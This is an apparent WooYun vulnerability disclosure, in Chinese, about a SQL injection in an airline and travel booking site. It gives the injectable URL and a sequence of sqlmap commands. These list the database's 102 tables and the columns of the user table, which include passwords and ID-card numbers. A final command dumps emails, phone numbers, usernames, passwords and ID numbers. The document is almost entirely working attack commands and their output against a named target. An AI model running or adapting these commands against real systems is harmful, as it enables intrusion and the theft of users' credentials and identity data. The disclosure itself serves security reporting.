WooYun.org

快达航空SQL注入用户敏感信息泄露
注入点：
http://25555555.com/menpiao/menpiao/MenPiaoYuDing.aspx?MID=116
./sqlmap.py -u "http://25555555.com/menpiao/menpiao/MenPiaoYuDing.aspx?MID=116" --tables -D "kuaida"
atabase: kuaida
[102 tables]
+-----------------------------+
| dbo.Answer |
| dbo.Ask |
| dbo.City |
| dbo.CityCode |
| dbo.CommonType |
| dbo.ImportantCity |
| dbo.Log |
| dbo.NewsTable |
| dbo.Price11111 |
| dbo.Type |
| dbo.V_JiuDian |
| dbo.V_airNRL |
| dbo.V_ask |
| dbo.airlog |
| dbo.base_ChinaSpecialJipiao |
| dbo.base_Prize |
| dbo.base_link |
| dbo.news_Category |
| dbo.news_Content |
| dbo.sitemap |
| dbo.sysModules |
| dbo.sysRoleModule |
| dbo.sysRoles |
| dbo.sysUser |
| dbo.sysUserRole |
| dbo.sysdiagrams |
| dbo.tb_CompanyName |
| dbo.tb_Flight |
| dbo.tb_FlightOrder |
| dbo.tb_FlightOrderRen |
| dbo.tb_FlightParams |
| dbo.tb_FlightXuZhi |
| dbo.tb_HotelDetail |
| dbo.tb_HotelOrders |
| dbo.tb_HotelParameter |
| dbo.tb_HotelPic |
| dbo.tb_HotelZiXun |
| dbo.tb_Hotels |
| dbo.tb_JPFYY |
| dbo.tb_JPYY |
| dbo.tb_PayRecord |
| dbo.tb_PayRemark |
| dbo.tb_PhotoAdver |
| dbo.tb_Ship |
| dbo.tb_ShipOrders |
| dbo.tb_ShipParameter |
| dbo.tb_ShipXuZhi |
| dbo.tb_TicketOrders |
| dbo.tb_TicketParameter |
| dbo.tb_TicketZiXun |
| dbo.tb_Tickets |
| dbo.tb_aircabin |
| dbo.tb_airelsetaxa |
| dbo.tb_airhometejia |
| dbo.tb_airhotcity |
| dbo.tb_airlineprice |
| dbo.tb_airlines |
| dbo.tb_airlog |
| dbo.tb_airnorangli |
| dbo.tb_airplane |
| dbo.tb_airpolicy |
| dbo.tb_airprofit |
| dbo.tb_airtan |
| dbo.tb_airtanlines |
| dbo.tb_airtaxa |
| dbo.tb_airtejia |
| dbo.tb_airtejia2 |
| dbo.tb_allcity |
| dbo.tb_email |
| dbo.tb_emailtype |
| dbo.tb_gairguojia_ct |
| dbo.tb_gairhotguojia |
| dbo.tb_gairjinxuan |
| dbo.tb_gairnews |
| dbo.tb_gairprice |
| dbo.tb_gairremai |
| dbo.tb_gairtejia |
| dbo.tb_gairtejia2 |
| dbo.tb_gift |
| dbo.tb_giftclass |
| dbo.tb_gorder |
| dbo.tb_gorderdetail |
| dbo.tb_gorderlist |
| dbo.tb_mobilsMsg |
| dbo.tb_order |
| dbo.tb_orderlist |
| dbo.tb_point |
| dbo.tb_pointclass |
| dbo.tb_shiphangban |
| dbo.tb_shiphangxian |
| dbo.tb_shipmatou |
| dbo.tb_shiporder |
| dbo.tb_shiporderlist |
| dbo.tb_shipprice |
| dbo.tb_torder |
| dbo.tb_torderlist |
| dbo.tb_usegift |
| dbo.tb_user |
| dbo.tb_userclass |
| dbo.tb_userlog |
| dbo.tf_salesTickets |
| dbo.v_aircity |
+-----------------------------+
跑用户字段：
./sqlmap.py -u "http://25555555.com/menpiao/menpiao/MenPiaoYuDing.aspx?MID=116" --columns -T "dbo.tb_user" -D "kuaida" -v 0
+----------------+----------+
| Column | Type |
+----------------+----------+
| address | nvarchar |
| birthday | nvarchar |
| city | nvarchar |
| classId | int |
| email | nvarchar |
| fax | nvarchar |
| mobile | nvarchar |
| msn | nvarchar |
| post | nvarchar |
| qq | nvarchar |
| realName | nvarchar |
| regTime | datetime |
| sex | int |
| telephone | nvarchar |
| userId | int |
| username | nvarchar |
| userpwd | nvarchar |
| zhengjianhaoma | nvarchar |
| zhengjiantype | nvarchar |
+----------------+----------+
跑用户信息：
./sqlmap.py -u "http://25555555.com/menpiao/menpiao/MenPiaoYuDing.aspx?MID=116" --dump -C "email,mobile,userId,username,userpwd,zhengjianhaoma" -T "dbo.tb_user" -D "kuaida" -v 0